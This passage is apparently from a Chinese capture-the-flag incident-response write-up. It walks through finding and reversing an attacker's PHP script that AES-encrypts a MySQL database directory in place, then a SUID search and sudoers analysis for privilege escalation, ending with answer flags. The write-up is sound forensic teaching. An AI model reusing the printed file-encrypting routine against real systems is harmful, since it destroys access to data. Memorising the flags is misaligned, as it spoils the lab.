![](https://i-blog.csdnimg.cn/direct/81fa95c7166d4433af4d5b1ad0e8b377.png)
那咋办,那就查呗,一个一个点击进去查(表也就那么多),看看那张表点不开或者报错的,那就是有毛病呗,就是题目要求的有锁呗;
最后也是在"JPMorgan Chase"数据库中发现它打不开(啥都打不开);
报错,怀疑可能有加密;(符合题目要求,尝试进行MD5加密提交)
![](https://i-blog.csdnimg.cn/direct/f53f0f9e33784db49cd061415856d72c.png)
那我们返回Liunx,尝试使用find定位一下"JPMorgan@0020Chase"
命令;
find / -name JPMorgan@0020Chase
得到;
![](https://i-blog.csdnimg.cn/direct/8345aaf66ed94caaa53549cbb14253a2.png)
那我们跟进到这个目录下,直接j进行MD5解密即可;(这里因为JPMorgan@0020Chase也不是一个文件,所以我们还是得使用echo来进行MD5加密,跟我们之前MD5加密用户一下)
命令;
echo -n "JPMorgan@0020Chase" | md5sum
得到;
![](https://i-blog.csdnimg.cn/direct/9a89bcb544374b68a7aea2a9f951117e.png)
尝试提交,正确;
至此;
flag{0928a5424aa6126e5923980ca103560e}
步骤#1.9
解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
解题思路
题目让我们解密数据库,提交Harper用户对应的Areer的值并且进行MD5加密,那这里黑客肯定是对表"Balance"进行了什么操作才导致进不去,那我们就尝试查找一下黑客比文件"cpg.php"新,又比闻文件"Balance.frm"旧的所有文件;
使用命令;
find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm
简单分析;
/
: 从根目录开始查找。-type f
: 只查找文件(不包括目录、链接等)。-newer /var/www/html/plugins/cpg.php
: 找出比这个文件新的文件。! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm
: 找出比这个文件旧的文件。
得到;
![](https://i-blog.csdnimg.cn/direct/7ddf41af7ad245efa897dd4d013e90b3.png)
找到了;(php后缀结尾就那么几个文件,其它的都排除完了,那可不就剩它了嘛)
/var/lib/mysql/clockup.php
跟进分析一下;
cat /var/lib/mysql/clockup.php
得到;
![](https://i-blog.csdnimg.cn/direct/1adffda297d74b5daaac98a06b91c2f3.png)
简单分析一下;
简单来说就是这个PHP脚本的作用是对指定目录下的所有文件进行加密,指定目录那可不就是"/var/lib/mysql/JPMorgan@0020Chase",那咋办嘞,直接写一个反推的脚本;(这里我丢给gpt写的)
-
获取当前日期并生成MD5哈希
$currentDate = date("Y-m-d"); $key = md5($currentDate);
$currentDate
:获取当前日期,格式为 "YYYY-MM-DD"。$key
:使用md5
函数将当前日期转换为一个128位的哈希值,这个值将作为加密的密钥。
-
生成初始化向量(IV)
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$iv
:使用 hash
函数将字符串 "DeepMountainsGD" 转换为一个256位的哈希值,然后取其前16字节作为初始化向量(IV)。IV用于确保相同的明文在加密时生成不同的密文,从而增强安全性。
-
指定文件路径并读取目录内容
$filePath = "/var/lib/mysql/JPMorgan@0020Chase"; $files = scandir($filePath);
$filePath
:指定目标文件路径,这里是/var/lib/mysql/JPMorgan@0020Chase
。$files
:使用scandir
函数读取指定目录的内容,并返回一个包含目录中所有文件和子目录的数组。
-
遍历文件并进行加密
foreach ($files as $file) { if ($file != "." && $file != "..") { $fullPath = $filePath . '/' . $file; $content = file_get_contents($fullPath); $encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv); file_put_contents($fullPath, $encryptedContent); } }
foreach ($files as $file)
:遍历目录中所有文件和子目录。if ($file != "." && $file != "..")
:跳过当前目录.
和父目录..
。$fullPath = $filePath . '/' . $file
:构建完整的文件路径。$content = file_get_contents($fullPath)
:读取文件内容。$encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv)
:使用openssl_encrypt
函数对文件内容进行加密,采用aes-256-cbc
加密算法,使用生成的密钥和IV。file_put_contents($fullPath, $encryptedContent)
:将加密后的内容写回到原文件中。
总的来说就是;
1. 生成基于当前日期的MD5哈希值作为加密密钥。
2. 生成一个基于特定字符串的初始化向量(IV)。
3. 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC加密算法进行加密。
4. 将加密后的内容覆盖写回到原文件。
这里我就直接搬了网上师傅的逆推脚本过来,懒得写了;
<?php
$currentDate = date("Y-m-d");
$key = md5('2023-11-18');
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
$files = scandir($filePath);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullPath = $filePath . '/' . $file;
$encryptedContent = file_get_contents($fullPath);
$decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);
file_put_contents($fullPath, $decryptedContent);
}
}
?>
简单分析一下;
首先肯定一点的就是,这个PHP脚本的作用是对指定目录下的所有文件进行解密。
-
固定当前日期并生成MD5哈希
$currentDate = "2023-11-18"; $key = md5($currentDate);
$currentDate
:指定固定的日期为 "2023-11-18"。$key
:使用md5
函数将该日期转换为一个128位的哈希值,这个值将作为解密的密钥。
-
生成初始化向量(IV)
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$iv
:使用 hash
函数将字符串 "DeepMountainsGD" 转换为一个256位的哈希值,然后取其前16字节作为初始化向量(IV)。IV用于确保加密和解密过程的一致性。
-
指定文件路径并读取目录内容
$filePath = "/var/lib/mysql/JPMorgan@0020Chase"; $files = scandir($filePath);
$filePath
:指定目标文件路径,这里是/var/lib/mysql/JPMorgan@0020Chase
。$files
:使用scandir
函数读取指定目录的内容,并返回一个包含目录中所有文件和子目录的数组。
-
遍历文件并进行解密
foreach ($files as $file) { if ($file != "." && $file != "..") { $fullPath = $filePath . '/' . $file; $content = file_get_contents($fullPath); $encryptedContent = openssl_decrypt($content, 'aes-256-cbc', $key, 0, $iv); file_put_contents($fullPath, $encryptedContent); } }
foreach ($files as $file)
:遍历目录中所有文件和子目录。if ($file != "." && $file != "..")
:跳过当前目录.
和父目录..
。$fullPath = $filePath . '/' . $file
:构建完整的文件路径。$content = file_get_contents($fullPath)
:读取文件内容。$encryptedContent = openssl_decrypt($content, 'aes-256-cbc', $key, 0, $iv)
:使用openssl_decrypt
函数对文件内容进行解密,采用aes-256-cbc
解密算法,使用生成的密钥和IV。file_put_contents($fullPath, $encryptedContent)
:将解密后的内容写回到原文件中。
总结来说就是;
- 使用固定的日期 "2023-11-18" 生成MD5哈希值作为解密密钥。
- 生成一个基于特定字符串的初始化向量(IV)。
- 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC解密算法进行解密。
- 将解密后的内容覆盖写回到原文件。
那这里我们直接把解密脚本写在/var/www/mysql/目录下即可;(写入的方法不唯一,可以直接在Liunx中"vim"一个文件,也可以直接在Finalsheell下右键新建一个php后缀结尾的文件)
这里直接是"vim"编辑了一个文件,接着脚本复制进去即可;(注意先按"i"才能复制)
vim 123.php
![](https://i-blog.csdnimg.cn/direct/56bdd63629224435b2baca2d1a5b7ff2.png)
接着保存退出(先按一次Esc,接着按住shift+:英文的冒号,输入:wq保存退出即可)
接着运行;
php 123.php
运行完成,就先不要急着返回刷新数据库,最好先重启一下数据库;
使用命令;
sudo systemctl restart mysql
![](https://i-blog.csdnimg.cn/direct/9271fe0f30fa4ba09b04231fdadd95b2.png)
接着,再返回我们的"Navicat Premium 16",选中刷新一下即可,看见表;
![](https://i-blog.csdnimg.cn/direct/880e54a4d6444fc3a6a19c0fce57ce21.png)
也可以在"Finalshell"目录下载直接右键新建也行;
![](https://i-blog.csdnimg.cn/direct/9ba3152209f142de86725fba4e709257.png)
接着就是把脚本复制进新建的文件中,Ctrl+s保存即可,然后还是跟上面一样执行脚本,重启一下数据库即可;
方法不唯一,仅供参考;
不过这里需要注意的是,脚本最好只运行一次!!!!!(如果运行脚本并且报错了,就不要再运行了,因为可能你的数据库已经被你覆盖掉了,这时候没办法,只能新启一个靶机了,所以最好一气呵成不要报错!!!!)
那最后题目问我们Harper用户对应Areer的值是什么并且进行MD5加密;
注意先进行MD5加密再提交,这里就不再演示,直接放结果;(随便找个在线的MD5加密即可)
![](https://i-blog.csdnimg.cn/direct/06b1fa6c168647aca8c4c5015ce6ed64.png)
至此;
flag{8fd82b8864d71ed7fa12b59e6e34cd1c}
步骤#1.10
因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。
解题思路
题目让我们找到黑客提权所使用的文件并且进行MD5加密,既然说了提权那我们就可以直接使用命令查找系统中以 root 用户身份拥有并设置了 SUID(Set User ID)权限的文件。
命令:
find / -user root -perm -4000 2>/dev/null
简单分析一下;
find /
: 从根目录开始查找文件。-user root
: 查找所有属于 root 用户的文件。-perm -4000
: 查找设置了 SUID 位的文件(即特殊权限位)。4000
是八进制表示法,用于指定 SUID 位。-perm -4000
意味着查找具有 SUID 权限的文件,无论其他权限如何。
2>/dev/null
: 将标准错误输出重定向到/dev/null
,即忽略错误信息(例如没有权限访问的目录)。
那有的师傅可能就要问了,为什么会使用这个命令;
简单来说是为了查找被黑客利用的具有 SUID 权限的文件。设置了 SUID 位的文件在执行时将以文件所有者(通常是 root 用户)的权限运行,而不是以执行者的权限运行。黑客可能会利用这些文件进行提权攻击,即通过这些文件获取 root 权限,从而对系统进行更高权限的操作。
得到;
![](https://i-blog.csdnimg.cn/direct/0ca83b96107341c2acc64757e2546276.png)
简单分析一下;
发现/usr/bin/sudo
:Sudo 是一个常见的提权工具,肯定会被滥用。
/usr/bin/sudo
:
- 使用广泛:Sudo 被广泛用于权限提升,如果配置中有漏洞,黑客可以利用 sudo 提权。
- 历史漏洞:Sudo 曾经存在一些被利用的漏洞,比如 CVE-2019-14287,可以绕过限制。
那我们进一步的分析一下"/etc/sudoers"
为什么会分析"/etc/sudoers"呢?
- 权限配置:了解哪些用户或用户组被授予了 sudo 权限。如果配置不当,可能允许普通用户以 root 权限运行命令,从而导致安全问题。
- 命令限制:查看是否有特定用户被允许执行特定的命令,而不需要输入密码。如果这些命令存在漏洞,可能被黑客利用来提权。
- 安全策略 :确认是否启用了安全策略,例如
requiretty
选项(要求 sudo 命令只能从终端运行),或NOPASSWD
选项(允许某些命令无需密码运行)。 - 日志记录:检查 sudoers 文件中是否有日志记录配置,方便追踪 sudo 命令的使用情况。
简而言之: /etc/sudoers
包含了系统上 sudo 的配置和权限设置。(之前不是分析出sudo可能有问题嘛)
所以;
cat /etc/sudoers
得到;
![](https://i-blog.csdnimg.cn/direct/d2aa16d8b95d4511b0e720f05220eb2a.png)
简单分析一下;
默认设置 (Defaults
):
env_reset
:重置环境变量,确保运行 sudo 命令时环境变量安全。mail_badpass
:在用户输入错误密码时发送邮件通知。secure_path
:为 sudo 命令设置安全路径,确保运行的命令来自可信路径。
用户权限 (User privilege specification
):
root ALL=(ALL:ALL) ALL
:root 用户可以在任何主机上以任何用户身份执行任何命令。www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.service
:www-data
用户可以以 root 身份执行/bin/systemctl status apache2.service
命令,并且无需输入密码。
重点分析
www-data
用户的权限配置 :- 配置允许
www-data
用户以 root 身份执行特定的 systemctl 命令,而不需要输入密码。虽然这看起来是一个受限的权限配置,但如果www-data
用户的环境中存在漏洞,黑客可以利用这些漏洞提权。 - 例如,如果 web 应用程序允许上传和执行任意文件,黑客可以上传恶意脚本,利用 systemctl 命令的执行权限来进一步渗透系统。
- 配置允许
NOPASSWD
选项:
- 任何无需密码验证的 sudo 配置都可能带来危害,因为它为潜在的攻击者提供了绕过身份验证的途径。
- 在这个案例中,虽然只允许执行
systemctl status apache2.service
,存在某种漏洞,肯定会导致执行其它命令或达到提权的效果。
题目让我们提交提权文件完整路径的MD5;
完整路径:/etc/sudoers
所以直接在Liunx中MD5加密即可;(这里不再多说)
md5sum /etc/sudoers
至此;
flag{6585817513b0ea96707ebb0d04d6aeff}